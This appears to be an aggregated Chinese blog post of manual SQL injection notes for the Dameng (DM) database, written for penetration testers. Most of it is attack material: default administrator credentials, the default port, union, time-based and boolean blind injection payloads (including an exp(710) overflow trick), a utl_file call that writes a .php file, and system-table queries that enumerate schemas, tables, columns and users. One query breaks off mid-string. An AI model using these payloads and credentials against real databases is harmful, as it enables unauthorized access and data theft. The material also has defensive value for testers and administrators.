前言:
今天我们对“php手工注入”可能比较重视,咱们都需要知道一些“php手工注入”的相关文章。那么小编同时在网上网罗了一些有关“php手工注入””的相关资讯,希望大家能喜欢,咱们快快来学习一下吧!前言
随着信创产业的逐步普及,很多小伙伴在渗透实战时会越来越多的遇到国产化数据库,如达梦、人大金仓等。如果使用该类数据库的站点存在sql注入漏洞,用sqlmap等工具无法支持我们直接得到想要的数据,我们需要理解这些数据库的语法才能更好的进行手工注入。本文总结了一些达梦数据库的手工注入技巧,欢迎大家收藏转发。
0x01 默认用户
默认安装的达梦数据库存在下面两个用户,密码与用户名相同,注意大小写
SYSDBA/SYSDBA
SYSAUDITOR/SYSAUDITOR
0x02 端口服务
默认端口:5236
默认服务名:DmServiceDMSERVER
远程:达梦数据库默认支持远程连接,只要网络可达,就可以连接成功。并没有类似mysql的只允许localhost连接的特性。
0x03 基础信息获取语法
SQL语句
语法
效果
select user
语法
正确
返回当前用户,默认是SYSDBA
select user()
语法
正确
返回当前用户,默认是SYSDBA
select db_name()
语法
错误
不存在方法db_name()
select database()
语法
错误
不存在方法database()
select cur_database
语法
正确
返回当前库名,默认是DAMENG
select cur_database()
语法
正确
返回当前库名,默认是DAMENG
0x04 语法特性
SQL语句
语法
效果
select 1
语法
正确
select语句后面可以不跟表名
select 1 from dual
语法
正确
存在默认表dual
select 1 from dual -- a
语法
正确
支持--单行注释
select 1 from dual # a
语法
错误
不支持#单行注释
select 1/*aaa*/from dual
语法
正确
支持/**/多行注释
select 1 from dual where 1
语法
错误
条件表达式必须是bool值
select if(1=2, exp(710), 1)
语法
错误
不能在if表达式中使用子表达式
select exp(if(1=2, 710,1))
语法
正确
可以在exp表达式中使用子表达式
select 1 from dual where 1=2 union select user()
语法
错误
字符串转换错误,联合查询要求字段类型必须相同
select '1' from dual where 1=2 union select user()
语法
正确
支持union select联合查询语法
waitfor delay '0:0:5'
语法
错误
不支持waitfor语法
select sleep(5)
语法
错误
select 和sleep使用语法错误
sleep(5)
语法
正确
延时5s
exec sleep 5
语法
正确
延时5s
select 1 from dual where 1=user()
会报错
但是不会报错出错误详情,不能用于报错注入
select 1 from dual where 1=updatexml(1,user(),1)
语法
错误
没有updatexml函数
select `ACCOUNT_ID` from OTHER.ACCOUNT
语法
错误
不能用反引号标识表名和字段名
select "ACCOUNT_ID" from "OTHER"."ACCOUNT"
语法
正确
如果表名和字段名中有特殊符号,可以用双引号包裹表名和字段名,不能用反引号
select 1 from dual where 1=1 || 1=1
语法
错误
不能使用||代替or
select 1 from dual where 1=1 && 1=1
语法
正确
可以使用&&代替and
select top 1 * from account
语法
正确
支持top语法
select * from account limit 0,1
语法
正确
支持limit语法
select 1 into outfile 'D:/1.txt'
语法
错误
不支持outfile语法
select * from other.depttab where dname=0x61
语法
正确
但是不支持把字符串转换为0x61这种16禁止字符串的功能
copy (select DNAME from other.depttab) to 'D:/1.txt'
语法
错误
不支持copy语法
utl_file.put_line(utl_file.fopen('D:\dmdbms\data\DAMENG\test', 'test.php', 'A'), 'xxxxxx')
语法
正确
可以写入文件,但是只能写到DAMENG目录,比较鸡肋
0x05 函数特性
函数示例
返回值
substr('1234',2,1)
返回2,第二个参数从第几位开始取值,第三个参数代表截图多少位
substring('1234',2,1)
同substr函数
left('123456', 3)
返回123,第二个参数代表返回左边几位的字符
right('123456', 3)
返回456,第二个参数代表返回右边几位的字符
if(1=1,1,2)
返回1,条件判断,如果条件成立返回第二个参数值,如果条件不成立,返回第三个参数值
md5(1)
返回
0xC4CA4238A0B923820DCC509A6F75849B,返回对应MD5值,前面加了0x
if(1=ascii(substr('123456',2,1)),2, 1)
综合使用,盲注必备
exp(if(1=1,710,1))
exp(710)返回整数溢出错误,使用这种方式可以强制BOOL盲注
0x06 手工注入
>通过查询系统表来手工注入
1) 查询库名
SYS.SYSOBJECTS表中保存全部的库名信息,可以使用下面的方式查询到所有的库名和对应ID
select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCH'
2) 查询表名
SYS.SYSOBJECTS表中同时保存全部的表名信息,可以使用下面的方式查询到所有的表名。其中SCHID来自步骤1)中获得的ID
select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCHOBJ' and SUBTYPE$='UTAB' and SCHID=150995949
3) 查询列名
SYS.SYSCOLUMNS表中字段名称和字段类型,可以使用下面的方式查询所有的表对应的列名。其中ID为步骤2)中获取的ID
select NAME,TYPE$,DEFVAL from SYS.SYSCOLUMNS where ID=1078
>通过查询视图来手工注入
1) 查询用户
可以使用下面的方式查询全部的数据库的用户名
select USERNAME from SYS.ALL_USERS
2) 查询库名
可以使用下面的方式查询全部库名,其中OWNER代表的是步骤1)对应的数据库用户名。
select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='SYSDBA' and OBJECT_TYPE='SCH'
3) 查询表名
可以使用下面的方式查询全部表名,这里的OWNER代表的是步骤2)对应的库名。
select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='OTHER' and OBJECT_TYPE='TABLE'
4) 查询列名
可以使用下面的方式返回指定条件对应的列名,其中SCHEMA_NAME代表库名,TABLE_NAME代表表名。
select OWNER,TABLE_NAME,SCHEMA_NAME,COLUMN_NAME from SYS.ALL_COL_COMMENTS where SCHEMA_NAME='OT
0x07 总结
达梦是一套优秀的国产化关系型数据库,目前在信创领域拥有大量的用户,其遵循SQL语言标准规范,从语法上来说和mysql和mssql都不太一样。
达梦数据库手工注入笔记
标签: #php手工注入